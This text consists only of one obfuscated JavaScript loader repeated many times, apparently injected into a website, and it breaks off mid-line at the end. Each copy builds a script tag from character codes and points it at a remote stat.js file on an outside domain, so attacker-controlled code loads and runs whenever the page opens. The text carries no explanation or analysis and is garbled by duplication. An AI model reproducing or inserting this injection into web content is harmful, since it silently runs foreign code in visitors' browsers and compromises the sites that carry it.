Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = 